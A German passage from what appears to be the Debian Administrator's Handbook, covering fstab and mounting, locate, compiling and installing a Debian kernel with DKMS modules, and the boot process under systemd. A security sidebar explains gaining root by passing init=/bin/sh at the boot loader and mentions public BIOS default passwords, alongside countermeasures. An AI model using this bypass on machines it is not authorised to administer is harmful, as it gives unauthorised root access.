Einige auswechselbare Geräte werden automatisch eingehängt, wenn sie angeschlossen werden, insbesondere wenn die grafischen Arbeitsumgebungen GNOME, KDE oder andere verwendet werden. Andere Geräte müssen durch den Benutzer von Hand eingehängt werden. Sie müssen auch wieder ausgehängt (aus dem Dateibaum entfernt) werden. Normale Benutzer haben im Allgemeinen nicht die Berechtigung, die Befehle mount und umount auszuführen. Der Administrator kann jedoch diese Vorgänge erlauben (unabhängig für jeden einzelnen Einhängepunkt), indem er die Option user zur Datei /etc/fstab hinzufügt.

Der Befehl mount kann ohne Argumente benutzt werden (er listet dann alle eingehängten Dateisysteme auf). Die nachfolgenden Parameter sind erforderlich, um ein Gerät ein- oder auszuhängen. Entnehmen Sie bitte die vollständige Auflistung den Handbuchseiten mount(8) und umount(8). Für einfache Fälle ist die Syntax ebenfalls einfach: um zum Beispiel die Partition /dev/sdc1, die ein ext3-Dateisystem hat, in das Verzeichnis /mnt/tmp/ einzuhängen, würden Sie einfach mount -t ext3 /dev/sdc1 /mnt/tmp/ eingeben.

Die Datei /etc/fstab enthält eine Liste aller möglichen Einhängepunkte, die entweder während des Hochfahrens automatisch eingehängt werden oder bei auswechselbaren Speichergeräten von Hand. Jeder Einhängepunkt wird in einer Zeile mit mehreren durch Leerzeichen getrennten Feldern beschrieben:

- einzuhängendes Gerät: dies kann eine lokale Partition sein (Festplatte, CD-ROM) oder ein entferntes Dateisystem (wie zum Beispiel ein NFS).
Dieses Feld wird häufig durch die eindeutige ID des Dateisystems ersetzt (die man mit dem Befehl blkid gerät feststellen kann) mit vorausgestellter UUID=. Dies schützt vor einer Änderung des Gerätenamens, falls ein Gerät hinzugefügt oder entfernt wird, oder falls Platten in einer anderen Reihenfolge erkannt werden.

- mount point: dies ist der Ort innerhalb des lokalen Dateisystems, an dem das Gerät, das entfernte System oder die Partition eingehängt werden.

- type: dieses Feld legt das auf dem eingehängten Gerät verwendete Dateisystem fest. ext4, ext3, vfat, ntfs, btrfs, xfs sind einige Beispiele.

ZURÜCK ZU DEN GRUNDLAGEN NFS, ein Netzwerk-Dateisystem

NFS ist ein Netzwerk-Dateisystem; unter Linux ermöglicht es einen transparenten Zugriff auf entfernte Dateien, indem sie in das lokale Dateisystem einbezogen werden.

Eine vollständige Liste bekannter Dateisysteme steht auf der Handbuchseite mount(8) zur Verfügung. Der besondere Wert swap gilt für Swap-Partitionen; der besondere Wert auto weist das Programm mount an, das Dateisystem selbstständig zu ermitteln (was besonders bei Laufwerken und USB-Sticks hilfreich ist, da jedes ein anderes Dateisystem haben kann);

- options: es gibt viele in Abhängigkeit vom Dateisystem, und sie sind auf der Handbuchseite von mount dokumentiert. Die häufigsten sind

- rw und ro bedeuten, dass das Gerät mit den Berechtigungen zum Lesen und Schreiben beziehungsweise nur zum Lesen eingehängt wird.

- noauto deaktiviert das automatische Einhängen beim Hochfahren.

- nofail lässt den Bootvorgang auch dann zu, wenn das Gerät nicht vorhanden ist. Stellen Sie sicher, dass Sie diese Option für externe Laufwerke verwenden, die beim Booten möglicherweise nicht angeschlossen sind, da systemd wirklich dafür sorgt, dass alle Mountpunkte, die automatisch gemountet werden müssen, tatsächlich gemountet sind, bevor der Bootvorgang fortgesetzt wird. Beachten Sie, dass Sie dies mit x-systemd.device-timeout=5s kombinieren können, um systemd nicht länger als 5 Sekunden zu warten, bis das Gerät erscheint (siehe systemd.mount(5)).

- user erlaubt es allen Benutzern, dieses Dateisystem einzuhängen (ein Vorgang, der sonst nur auf den Root-Benutzer beschränkt wäre).

- defaults bezeichnet die Gruppe der voreingestellten Optionen: rw, suid, dev, exec, auto, nouser und async, von denen jede einzeln nach defaults abgestellt werden kann, indem man nosuid, nodev und so weiter hinzufügt, um suid, dev und so weiter zu sperren. Das Hinzufügen der Option userreaktiviert diese wieder, da defaults die Option nouser enthält.

- backup: dieses Feld ist fast immer auf 0 gesetzt. Falls es 1 ist, weist dies das Hilfsprogramm dump darauf hin, dass die Partition Daten enthält, die gesichert werden müssen.

- check order: dieses letzte Feld zeigt an, ob die Integrität des Dateisystems beim Hochfahren überprüft werden soll, und in welcher Reihenfolge diese Überprüfung durchgeführt werden soll. Falls es 0 ist, wird keine Überprüfung durchgeführt. Das Wurzelverzeichnis sollte den Wert 1 haben, während andere dauerhaft eingehängte Dateisysteme den Wert 2 erhalten.

Beispiel 8.5. Beispiel der Datei /etc/fstab

# /etc/fstab: static file system information.
#
# <file system> <mount point>   <type>  <options>       <dump>  <pass>
proc            /proc           proc    defaults        0       0
# / was on /dev/sda1 during installation
UUID=c964222e-6af1-4985-be04-19d7c764d0a7 / ext3 errors=remount-ro 0 1
# swap was on /dev/sda5 during installation
UUID=ee880013-0f63-4251-b5c6-b771f53bd90e none swap sw  0       0
/dev/scd0       /media/cdrom0   udf,iso9660 user,noauto 0       0
/dev/fd0        /media/floppy   auto    rw,user,noauto  0       0
arrakis:/shared /shared         nfs     defaults        0       0

Der letzte Eintrag dieses Beispiels bezieht sich auf ein Netzwerk-Dateisystem (NFS): das Verzeichnis /shared/ auf dem Server arrakis wird auf dem lokalen Rechner unter /shared/ eingehängt. Das Format der Datei /etc/fstab ist auf der Handbuchseite fstab(5) dokumentiert.

WEITERE SCHRITTE Selbstständiges Einhängen

Das Paket am-utils stellt amd zur Verfügung, ein Dienstprogramm zum selbstständigen Einhängen, das in der Lage ist, Wechselmedien bei Bedarf einzuhängen, wenn ein Benutzer versucht, auf ihren üblichen Einhängepunkt zuzugreifen. Es hängt diese Geräte wieder aus, wenn kein Prozess mehr auf sie zugreift.

Es gibt weitere Dienstprogramme zum selbstständigen Einhängen, wie zum Beispiel automount im Paket autofs.

Beachten Sie auch, dass GNOME, KDE und andere grafische Arbeitsplatzumgebungen mit dem System udisks zusammenarbeiten und automatisch Wechselmedien einhängen können, wenn diese angeschlossen werden.

8.9.6. locate und updatedb

Der Befehl locate kann den Ort einer Datei finden, wenn Sie nur einen Teil ihres Namens kennen. Er zeigt das Ergebnis fast sofort an, da er in einer Datenbank nachschlägt, die den Ort aller auf dem System befindlichen Dateien speichert; diese Datenbank wird täglich durch den Befehl updatedb aktualisiert. Es gibt -zig Implementierungen des Befehls locate und Debian hat mlocate für sein Standard-System gewählt.

mlocate ist so intelligent, dass es nur Dateien zurückliefert, auf die der Anwender Zugriff hat, auch wenn die zugrundeliegende Datenbank alle Dateien auf dem System kennt (weil die Implementierung des zugehörigen updatedb ohne Root-Rechte läuft). Als zusätzliche Absicherung kann der Administrator mit PRUNEDPATHS in /etc/updatedb.conf einzelne Verzeichnisse von der Indexierung ausschließen.

8.10. Einen Kernel kompilieren

Die von Debian bereitgestellten Kernel umfassen die größtmögliche Anzahl an Leistungsmerkmalen wie auch ein Maximum an Treibern, um ein möglichst breites Spektrum der existierenden Hardware-Konfigurationen abzudecken. Daher ziehen es einige Anwender vor, den Kernel neu zu kompilieren, um so genau nur das einzuschließen, was sie wirklich brauchen. Es gibt zwei Gründe für diese Entscheidung. Zum einen kann es darum gehen, den Speicherverbrauch zu optimieren, da der Kernelcode, selbst wenn er niemals gebraucht wird, unnötig Speicher belegt (und niemals in den Swap „hinuntergeht“, da es wirkliches RAM ist, das er benutzt), wodurch sich die Gesamtleistung des Systems verringern kann. Ein lokal kompilierter Kernel kann außerdem das Risiko von Sicherheitsproblemen reduzieren, da nur ein Bruchteil des Kernelcodes kompiliert wird und läuft.

HINWEIS Sicherheitsaktualisierungen

Wenn Sie es vorziehen, Ihren eigenen Kernel zu kompilieren, müssen Sie auch die Konsequenzen in Kauf nehmen: Debian kann bei Ihrem maßgeschneiderten Kernel nicht für Sicherheitsaktualisierungen sorgen. Wenn Sie dagegen den von Debian bereitgestellten Kernel behalten, profitieren Sie von Aktualisierungen, die vom Sicherheitsteam des Debian-Projekts erstellt werden.

Eine Rekompilierung des Kernels ist auch erforderlich, wenn Sie bestimmte Leistungsmerkmale verwenden möchten, die nur als Patches zur Verfügung stehen (und nicht in der Standardversion des Kernels enthalten sind).

WEITERGEHENDE SCHRITTE Das Debian Kernel Handbuch

Das Debian Kernel Team verwaltet "Das Debian Kernel Handbuch" (auch im Paket debian-kernel-handbook enthalten) mit umfassender Dokumentation über die meisten Kernel-Aufgaben und darüber, wie offizielle Debian Kernel Pakete behandelt werden. Das ist die erste Adresse für weitergehende Informationen, die über das in diesem Abschnitt Gesagte hinausgehen.

→ http://kernel-handbook.alioth.debian.org

8.10.1. Einführung und Voraussetzungen

Wenig überraschend verwaltet Debian den Kernel in Form eines Pakets, was nicht der üblichen Art und Weise entspricht, wie Kernel traditionell kompiliert und installiert wurden. Da der Kernel unter der Kontrolle des Paketierungssystems verbleibt, kann er dann sauber entfernt oder auf mehreren Rechnern eingesetzt werden. Darüber hinaus automatisieren die zu diesen Paketen gehörigen Skripten die Interaktion mit dem Boot-Loader und dem initrd-Generator.

Die "Upstream"-Linux-Quellen enthalten alles, was Sie benötigen, um ein Debian Paket des Kernels zu bauen. Aber Sie müssen trotzdem build-essential installieren, um zu überprüfen, ob Sie die benötigten Werkzeuge zum Erstellen eines Linux-Kernels haben. Des weiteren benötigt der Schritt zur Konfiguration des Kernels das Paket libncurses5-dev. Und schlussendlich erlaubt das Paket fakeroot die Erstellung des Debian-Pakets, ohne dabei Administratorrechte zu verwenden.

CULTURE Die guten alten Zeiten des kernel-package

Bevor die Umgebung zur Erstellung eines Linux-Systems die Fähigkeit erhielt, saubere Debian-Pakete zu bauen, war der empfohlene Weg, make-kpkg aus dem Paket kernel-package zur Erzeugung solcher Pakete zu verwenden.

8.10.2. Die Quellen besorgen

Wie alles, was auf einem Debian-System nützlich ist, stehen die Linux-Kernelquellen in einem Paket zu Verfügung. Um sie zu erhalten, installiert man einfach das Paket linux-source-version. Der Befehl apt-cache search ^linux-source führt die verschiedenen von Debian paketierten Kernelversionen auf. Die jüngste Version ist in der Distribution Unstable enthalten: Sie können sie ohne großes Risiko abrufen (insbesondere wenn Ihr APT in Übereinstimmung mit der Anleitung in Abschnitt 6.2.6, „Mit mehreren Distributionen arbeiten“ konfiguriert ist). Beachten Sie, dass der in diesen Paketen enthaltene Quellcode nicht genau dem von Linus Torvalds und den Kernel-Entwicklern veröffentlichten entspricht; wie alle Distributionen, so wendet auch Debian eine Reihe von Patches an, die ihren Weg in die "Upstream"-Version von Linux finden (oder auch nicht). Diese Änderungen umfassen auch Rückwärtsportierungen von Korrekturen/Funktionalitäten/Treibern von neueren Kernel-Versionen, neuen Funktionalitäten, die noch nicht (vollständig) in den "Upstream"-Zweig von Linux eingearbeitet sind, und manchmal sogar debianspezifische Änderungen.

Der Rest dieses Abschnitts befasst sich mit der Version 3.16 des Linux-Kernels, aber die Beispiele können natürlich an jede gewünschte Kernel-Version angepasst werden.

Wir gehen davon aus, dass das Paket linux-source-3.16 installiert worden ist. Es enthält /usr/src/linux-source-3.16.tar.xz, ein komprimiertes Archiv der Kernelquellen. Sie müssen diese Dateien in ein neues Verzeichnis entpacken (nicht direkt in /usr/src/, da besondere Berechtigungen für die Kompilierung eines Linux-Kernels nicht erforderlich sind): ~/kernel/ wäre geeignet.

$ mkdir ~/kernel; cd ~/kernel
$ tar -xaf /usr/src/linux-source-3.16.tar.xz

KULTUR Ort der Kernelquellen

Traditionell würden Linux-Kernelquellen in /usr/src/linux/ abgelegt werden und damit Root-Berechtigungen für die Kompilierung erfordern. Das Arbeiten mit Administratorrechten sollte jedoch vermieden werden, wenn es nicht nötig ist. Es gibt eine Gruppe namens src, die es ihren Mitgliedern ermöglicht, in diesem Verzeichnis zu arbeiten, aber die Arbeit in /usr/src/ sollte dennoch vermieden werden. Indem Sie die Kernel-Quellen in einem persönlichen Verzeichnis halten, sind Sie in jeder Hinsicht sicher: es gibt keine Dateien in /usr/, die dem Paketierungssystem unbekannt sind, und es gibt kein Risiko, dass Programme dadurch in die Irre geführt werden, dass sie /usr/src/linux lesen, wenn sie versuchen, Informationen über den verwendeten Kernel zu sammeln.

8.10.3. Den Kernel konfigurieren

Der nächste Schritt besteht darin, den Kernel Ihren Bedürfnissen entsprechend zu kompilieren. Das genaue Vorgehen hängt von den Zielen ab.

Wenn eine neuere Version des Kernels (möglicherweise mit einem zusätzlichen Patch) rekompiliert wird, wird die Konfigurierung höchstwahrscheinlich möglichst nah an der von Debian vorgeschlagenen gehalten werden. In diesem Fall, und anstatt alles von Grund auf neu zu konfigurieren, genügt es, die Datei /boot/config-version (die Version entspricht der des zur Zeit verwendeten Kernels, die mit dem Befehl uname -r gefunden werden kann) in eine Datei namens .config im Verzeichnis, das die Kernelquellen enthält, zu kopieren.

$ cp /boot/config-3.16.0-4-amd64 ~/kernel/linux-source-3.16/.config

Falls Sie die Konfiguration nicht zu ändern brauchen, können Sie hier aufhören und zu Abschnitt 8.10.4, „Das Paket kompilieren und erstellen“ springen. Falls Sie sie dagegen ändern müssen, oder falls Sie sich dazu entschließen, alles von Grund auf neu zu konfigurieren, müssen Sie sich die Zeit nehmen, Ihren Kernel zu konfigurieren. Es gibt in dem Verzeichnis mit den Kernelquellen mehrere speziell hierfür vorgesehene Schnittstellen, die mit dem Aufruf des Befehls make ziel verwendet werden können, wobei ziel einer der unten beschriebenen Werte ist.

make menuconfig kompiliert eine Schnittstelle im Textmodus und führt sie aus (an dieser Stelle ist das Paket libncurses5-dev erforderlich), die es ermöglicht, durch die in einer hierarchischen Struktur verfügbaren Optionen zu navigieren. Ein Druck auf die Leer-Taste ändert den Wert der ausgewählten Option, und Enter bestätigt die am unteren Bildschirmrand ausgewählte Schaltfläche; Select geht zum ausgewählten Untermenü zurück; Exit schließt den aktuellen Bildschirm und kehrt aufwärts in die Hierarchie zurück; Help zeigt ausführlichere Informationen zur Rolle der ausgewählten Option an. Mit den Pfeiltasten ist es möglich, sich innerhalb der Liste von Optionen und Schaltflächen zu bewegen. Um das Konfigurierungsprogramm zu verlassen, wählt man Exit im Hauptmenü. Das Programm bietet dann an, die vorgenommenen Änderungen zu speichern; nehmen Sie diesen Vorschlag an, wenn Sie mit Ihrer Auswahl zufrieden sind.

Andere Schnittstellen verfügen über ähnliche Merkmale, arbeiten jedoch mit moderneren grafischen Schnittstellen, wie zum Beispiel make xconfig, das eine grafische Schnittstelle auf der Basis von Qt verwendet, und make gconfig, das GTK+ benutzt. Ersteres erfordert libqt4-dev, während Letzteres von libglade2-dev und libgtk2.0-dev abhängt.

Beim Benutzen dieser Konfigurationsschnittstellen ist es immer gut, von einer der Standardkonfigurationen auszugehen. Der Kernel stellt solche Konfigurationen in arch/arch/configs/*_defconfig und Sie können Ihre gewählte Konfiguartion z.B. mit dem Befehl make x86_64_defconfig (im Falle eines 64-bit-Systems) oder mit make i386_defconfig (Im Falle eines 32-bit-PCs) einbinden.

TIP Umgang mit veralteten .config-Dateien

Wenn Sie eine .config-Datei verwenden wollen, die mit einer anderen (üblicherweise älteren) Kernel-Version erzeut wurde, müssen sie diese aktualisieren. Das geht entweder mit make oldconfig, wobei Sie interaktiv nach den neuen Konfigurationsoptionen gefragt werden. Wollen sie alle Optionen mit Standardwerten belegen, können Sie das mit make olddefconfig tun. Mit make oldnoconfig werden alle Fragen verneint.

8.10.4. Das Paket kompilieren und erstellen

HINWEIS Vor der Neuerstellung aufräumen

Wenn Sie den Inhalt eines Verzeichnisses schon einmal übersetzt hatten und alles noch einmal neu erstellen wollen, vielleicht, weil Sie fundamentale Änderungen der Kernelkonfiguration vorgenommen haben, dann müssen Sie make clean ausführen, um alle übersetzten Dateien zu löschen. make distclean entfernt noch mehr generierte Dateien, einschließlich Ihrer .config-Datei, also machen Sie zuvor besser ein Backup.

Ist die Kernelkonfiguration fertig, generieren Sie mit make deb-pkg bis zu fünf Debian-Pakete: linux-image-version enthält das Kernelabbild und die zugehörigen Module, linux-headers-version, das die Header-Dateien, die benötigt werden, um externe Module Module zu erstellen, linux-firmware-image-version enthält die Firmware-Dateien, die von manchen Treibern benöigt werden, (dieses Paket könnte fehlen, wenn Sie aus den von Debian bereitgestellten Kernel-Quellen bauen), linux-image-version-dbg mit den Symbolen für das Debugging der Kernel-Images und deren Module und linux-libc-dev, das die relevanten Header für einige Bibliotheken des User-Space, wie die glibc von GNU, bereithält.

Die Version wird definiert durch das Zusammenfügen der "upstream"-Version (wie sie von den Variablen VERSION, PATCHLEVEL, SUBLEVEL and EXTRAVERSION in Makefile) festgelegt wird, vom Konfigurationsparameter LOCALVERSION, und von der Umgebungsvariable LOCALVERSION. Die Paket-Version nutzt die gleiche Versionszeichenkette mit einer angehängten Revisionsnummer die regelmäßig erhöht (und in .version gespeichert) wird, es sei denn, Sie überschreiben sie mit der Umgebungsvariable KDEB_PKGVERSION.

$ make deb-pkg LOCALVERSION=-falcot KDEB_PKGVERSION=$(make kernelversion)-1
[...]
$ ls ../*.deb
../linux-headers-3.16.7-ckt4-falcot_3.16.7-1_amd64.deb
../linux-image-3.16.7-ckt4-falcot_3.16.7-1_amd64.deb
../linux-image-3.16.7-ckt4-falcot-dbg_3.16.7-1_amd64.deb
../linux-libc-dev_3.16.7-1_amd64.deb

8.10.5. Externe Module kompilieren

Einige Module werden außerhalb des offiziellen Linux-Kernels verwaltet. Um sie verwenden zu können, müssen sie neben dem passenden Kernel kompiliert werden. Eine Anzahl gebräuchlicher Fremdmodule wird von Debian in speziellen Paketen bereitgestellt: xtables-addons-source (zusätzliche Module für iptables) oder oss4-source (Open Sound System, einige alternative Audiotreiber).

Diese externen Pakete sind zahlreich und vielfältig, und wir werden sie hier nicht alle aufführen; der Befehl apt-cache search source$ kann den Suchbereich eingrenzen. Jedoch ist eine vollständige Liste nicht sehr nützlich, da es keinen besonderen Grund gibt, externe Module zu kompilieren, außer wenn Sie wissen, dass Sie sie benötigen. In diesen Fällen führt die Dokumentation des Geräts normalerweise die einzelnen Module auf, die es benötigt, um unter Linux zu funktionieren.

Betrachten wir zum Beispiel das Paket xtables-addons-source: nach der Installation wird ein .tar.bz2 der Modul-Quellen in /usr/src/ gespeichert. Während wir den Tarball manuell extrahieren und das Modul bauen könnten, ziehen wir es in der Praxis vor, dies alles mit DKMS zu automatisieren. Die meisten Module bieten die erforderliche DKMS-Integration in einem Paket, das mit einem -dkms Suffix endet. In unserem Fall genügt die Installation von xtables-addons-dkms, um das Kernelmodul für den aktuellen Kernel zu kompilieren, vorausgesetzt, wir haben das Paket linux-headers-* passend zum installierten Kernel. Wenn Sie beispielsweise linux-image-amd64 verwenden, würden Sie auch linux-headers-amd64 installieren.

$ sudo apt install xtables-addons-dkms

[...]
Setting up xtables-addons-dkms (2.6-1) ...
Loading new xtables-addons-2.6 DKMS files...
First Installation: checking all kernels...
Building only for 3.16.0-4-amd64
Building initial module for 3.16.0-4-amd64
Done.

xt_ACCOUNT:
Running module version sanity check.
- Original module
- No original module exists within this kernel
- Installation
- Installing to /lib/modules/3.16.0-4-amd64/updates/dkms/
[...]
DKMS: install completed.
$ sudo dkms status
xtables-addons, 2.6, 3.16.0-4-amd64, x86_64: installed
$ sudo modinfo xt_ACCOUNT
filename:       /lib/modules/3.16.0-4-amd64/updates/dkms/xt_ACCOUNT.ko
license:        GPL
alias:          ipt_ACCOUNT
author:         Intra2net AG <opensource@intra2net.com>
description:    Xtables: per-IP accounting for large prefixes
[...]

ALTERNATIVE module-assistant

Vor DKMS war der module-assistant der einfachste Weg, einen Kernel zu bauen und zu verteilen. Er kann immer noch verwendet werden, besonders für Pakete die keine DKMS-Integration bieten: mit einem einfachen Befehl, wie module-assistant auto-install xtables-addons (oder kurz m-a a-i xtables-addons), werden die Module für den eingesetzten Kernel übersetzt, in ein Debian-Paket verschnürt und im gleichen Atemzug installiert.

8.10.6. Einen Kernel-Patch anwenden

Einige Funktionen sind im Standardkernel nicht enthalten, da sie entweder noch nicht ausgereift sind, oder auch wegen fehlender Übereinstimmung mit dem Entwickler. Solche Funktionen können als Patches verteilt werden, die dann jeder auf die Kernelquellen anwenden kann.

Debian verbreitet einige dieser Patches in den Paketen linux-patch-* und kernel-patch-* (zum Beispiel linux-patch-grsecurity2, das einige der Sicherheitsrichtlinien des Kernels verschärft). Diese Pakete installieren Dateien in das Verzeichnis /usr/src/kernel-patches/.

Um einen oder mehrere dieser installierten Patches anzuwenden, rufen Sie den Befehl patch im Quellenverzeichnis auf und beginnen dann wie oben beschrieben mit der Kompilierung des Kernels.

$ cd ~/kernel/linux-source-3.16
$ make clean
$ zcat /usr/src/kernel-patches/diffs/grsecurity2/grsecurity-3.0-3.17.1-201410250027.patch.gz | patch -p1

Beachten Sie, dass ein bestimmter Patch nicht unbedingt mit jeder Kernelversion funktioniert; patch kann scheitern, wenn sie auf die Kernelquellen angewendet werden. Dann wird eine Fehlermeldung mit Einzelheiten zu diesem Fehlschlag angezeigt; in diesem Fall sollten Sie in der Dokumentation nachsehen, die im Debian-Paket des Patches zur Verfügung steht (im Verzeichnis /usr/share/doc/linux-patch-*/). Meistens gibt der Betreuer dort an, für welche Kernelversionen sein Patch gedacht ist.

8.11. Einen Kernel installieren

8.11.1. Merkmale eines Debian-Kernelpakets

Ein Debian-Kernelpaket installiert das Kernelabbild (vmlinuz-version), seine Konfiguration (config-version) und seine Symboltabelle (System.map-version) in das Verzeichnis /boot/. Die Symboltabelle erleichtert es Entwicklern, die Bedeutung einer Fehlermeldung des Kernels zu verstehen; ohne sie besteht ein Kernel-Oops (ein „Oops“ bei einem Kernel entspricht einer Schutzverletzung bei einem Programm auf der Anwenderebene; anders gesagt, sind dies Meldungen, die nach einer ungültigen Dereferenzierung eines Zeigers ausgegeben werden) lediglich aus numerischen Speicheradressen, die als Information nutzlos sind ohne eine Tabelle, die diese Adressen Symbolen und Funktionsnamen zuordnet. Die Module werden in das Verzeichnis /lib/modules/version/ installiert.

Die Konfigurierungsskripten des Pakets erstellen selbsttätig ein initrd-Abbild, ein Minisystem, das vom Boot-Loader in den Speicher geladen wird (daher sein Name, der „init ramdisk“ bedeutet) und vom Linux-Kernel ausschließlich dazu benutzt wird, die Module zu laden, die erforderlich sind, um auf die Geräte, die das vollständige Debian-System enthalten, zuzugreifen (zum Beispiel den Treiber für die SATA-Platten). Außerdem aktualisieren die Nachinstallationsskripten die symbolischen Verknüpfungen /vmlinuz, /vmlinuz.old, /initrd.img und /initrd.img.old, so dass sie auf die letzten beiden installierten Kernel und die entsprechenden initrd-Abbilder verweisen.

Die meisten der Aufgaben werden an "hook scripts" in den /etc/kernel/*.d/-Verzeichnissen übergeben. Zum Beispiel fußt die Einbindung von grub darauf, dass /etc/kernel/postinst.d/zz-update-grub und /etc/kernel/postrm.d/zz-update-grub update-grub aufrufen, wenn ein Kernel installiert oder deinstalliert wird.

8.11.2. Mit dpkg installieren

Die Verwendung von apt ist so komfortabel, dass man dabei leicht die Hilfsprogramme auf den unteren Ebenen vergisst. Aber am einfachsten ist es, einen kompilierten Kernel mit einem Befehl wie dpkg -i paket.deb zu installieren, wobei paket.deb der Name eines linux-image-Pakets ist, wie zum Beispiel linux-image-3.16.7-ckt4-falcot_1_amd64.deb.

Die in diesem Kapitel beschriebenen Konfigurierungsschritte sind grundlegend und können sowohl zu einem Server als auch zu einem Arbeitsplatzrechner führen, und sie können in weitem Umfang auf halbautomatisierte Weise dupliziert werden. Dennoch reichen sie nicht aus, um ein vollständig konfiguriertes System bereitzustellen. Einiges bedarf einer weiteren Konfigurierung, beginnend mit den Programmen auf unterer Ebene, die als „Unix-Dienste“ bezeichnet werden.

Kapitel 9. Unix-Dienste

Dieses Kapitel behandelt eine Reihe grundlegender Dienste, die vielen Unix-Systemen gemein sind. Alle Administratoren sollten mit ihnen vertraut sein.

9.1. Systemstart

Beim Hochfahren des Rechners zeigen die zahlreichen Meldungen, die auf der Konsole vorüberrollen, viele selbsttätig ausgeführte Initialisierungen und Konfigurationen an. Manchmal möchten Sie vielleicht den Ablauf dieser Phase etwas verändern, weshalb Sie sie gut verstehen müssen. Das ist der Zweck dieses Abschnitts.

Zunächst übernimmt das BIOS die Kontrolle über den Rechner, erkennt die Festplatten, lädt den Master Boot Record und führt den Boot-Loader aus. Der Boot-Loader übernimmt, ermittelt den Kernel auf der Festplatte, lädt ihn und führt ihn aus. Der Kernel wird dann initialisiert und beginnt damit, nach der Partition, die das Wurzel-Dateisystem enthält, zu suchen und sie einzuhängen, und führt schließlich das erste Programm aus – init. In vielen Fällen befinden sich diese „Wurzel-Partition“ und der init-Befehl jedoch in einem virtuellen Dateisystem, das nur im Arbeitsspeicher existiert (daher sein Name „initramfs“, früher „initrd“ genannt für „initialization RAM disk“). Dieses Dateisystem wird vom Boot-Loader in den Speicher geladen, häufig aus einer Datei auf einer Festplatte oder aus dem Netzwerk. Es enthält das absolute Minimum dessen, was vom Kernel benötigt wird, um das „wirkliche“ Wurzel-Dateisystem zu laden: dies können Treiber-Module für die Festplatte oder andere Geräte sein, ohne die das System nicht hochfahren kann, oder häufiger Initialisierungsskripten und -module zum Aufbau von RAID-Arrays, zum Öffnen verschlüsselter Partitionen, zur Aktivierung von LVM-Volumes usw. Sobald die Wurzel-Partition eingehängt ist, übergibt initramfs die Kontrolle an das wirkliche init, und der Rechner kehrt zum Standard-Startprozess zurück.

Abbildung 9.1. Boot-Sequenz eines Rechners, auf dem Linux mit systemd läuft

9.1.1. Das systemd Initialisierungssystem

Das "tatsächliche init" wird zur Zeit von systemd bereitgestellt und dieser Abschnitt beschreibt das Init-System.

KULTUR Weitere inetd Befehle

systemd ist ein relativ neues "init-System", und obwohl es bis zu einem gewissen Grad bereits in Wheezy verfügbar war, ist es nur der Standard in Debian Jessie geworden. Frühere Versionen basierten standardmäßig auf dem "System V init" (im Paket sysv-rc), einem viel traditionelleren System. Wir beschreiben das System V init später.

ALTERNATIV Andere Bootsysteme

Dieses Buch beschreibt das von Debian Jessiestandardmäßig verwendete Bootsystem (wie es vom Paket systemd umgesetzt wird) sowie die bisherige Voreinstellung sysvinit, das vom Unix-System System V abgeleitet und übernommen ist; es gibt jedoch auch andere.

file-rc ist ein Bootsystem mit einem sehr einfachen Ablauf. Es behält das Prinzip der Runlevel bei, ersetzt jedoch die Verzeichnisse und symbolischen Verknüpfungen durch eine Konfigurationsdatei, die für init die zu startenden Prozesse und ihre Startreihenfolge angibt.

Der Befehl upstart ist auf Debian immer noch nicht vollständig ausgetestet. Es arbeitet ereignisbasiert: Initialisierungsskripten werden nicht mehr der Reihe nach ausgeführt, sondern als Reaktion auf Ereignisse, wie zum Beispiel die Ausführung eines anderen Skripts, von dem sie abhängen. Dieses von Ubuntu eingeführte System ist in Debian Jessie vorhanden, aber nicht als Standard eingestellt. Es ist ein Nachfolger für sysvinit, und eine der von upstart ausgeführten Aufgaben besteht darin, die für traditionelle Systeme geschriebenen Skripten zu starten, insbesondere die aus dem Paket sysv-rc.

Es gibt weitere Systeme und Betriebsarten wie zum Beispiel runit oder minit, die jedoch recht spezialisiert und nicht weit verbreitet sind.

SONDERFALL Aus dem Netzwerk hochfahren

Bei einigen Konfigurationen kann das BIOS so eingestellt sein, dass es nicht den MBR ausführt, sondern seine Entsprechung im Netzwerk sucht, wodurch es möglich wird, Rechner ohne Festplatte zu bauen oder solche, die bei jedem Neustart vollständig neu installiert werden. Diese Option steht aber nicht auf jeder Hardware zur Verfügung und erfordert im Allgemeinen eine passende Kombination aus BIOS und Netzwerkkarte.

Das Hochfahren aus dem Netzwerk kann dazu verwendet werden, den Debian-Installer oder FAI zu starten (siehe Abschnitt 4.1, „Installationsmethoden“).

ZURÜCK ZU DEN GRUNDLAGEN Der Prozess, eine Programminstanz

Ein Prozess ist die Darstellung eines laufenden Programms im Speicher. Er umfasst alle Informationen, die für die ordnungsgemäße Ausführung der Software erforderlich sind (den Code selbst, aber auch die Daten, die er im Speicher hält, die Liste der Dateien, die er geöffnet hat, die Netzwerkverbindungen, die er eingerichtet hat, usw.). Ein einzelnes Programm kann in mehreren Prozessen instanziiert sein, die nicht notwendigerweise unter verschiedenen Benutzerkennungen laufen.

SICHERHEIT Eine Shell als init verwenden, um Administratorrechte zu erlangen

Vereinbarungsgemäß ist der erste Prozess, der gestartet wird, das Programm init (das ein symbolischer Link zu /lib/systemd/systemd ist). Man kann dem Kernel jedoch eine init-Option übergeben, die ein anderes Programm angibt.

Jeder mit Zugang zum Rechner kann die Reset-Taste drücken und ihn so neu starten. Dann ist es an der Eingabeaufforderung des Boot-Loaders möglich, dem Kernel die Option init=/bin/sh zu übergeben und so ohne Kenntnis des Administrator-Passworts Root-Rechte zu erlangen.

Um dieses zu verhindern, kann man den Boot-Loader selbst mit einem Passwort absichern. Man könnte auch den Zugang zum BIOS schützen (ein Passwort-Schutzmechanismus ist fast immer verfügbar), ohne den ein böswilliger Eindringling jedoch den Rechner immer noch mit einem Wechseldatenträger, der sein eigenes Linux-System enthält, hochfahren könnte und das er dann dazu benutzen könnte, um auf Daten auf den Festplatten des Rechners zuzugreifen.

Schließlich sollten Sie beachten, dass die meisten BIOS ein voreingestelltes Passwort haben. Ursprünglich dazu gedacht, denen zu helfen, die ihr Passwort vergessen haben, sind diese Passwörter inzwischen öffentlich bekannt und im Internet verfügbar (sehen Sie selbst, indem sie in einer Suchmaschine „Standard-Passwörter“ eingeben). Alle diese Sicherheitsmaßnahmen können daher zwar den unbefugten Zugriff auf den Rechner erschweren, ihn aber nicht vollständig verhindern. Es gibt keinen zuverlässigen Weg, einen Computer zu schützen, falls der Angreifer physisch auf ihn zugreifen kann; er könnte die Festplatten ausbauen, um sie an einen Rechner unter seiner Kontrolle anzuschließen oder das ganze Gerät stehlen oder den BIOS-Speicher löschen, um so das Passwort zurückzusetzen…

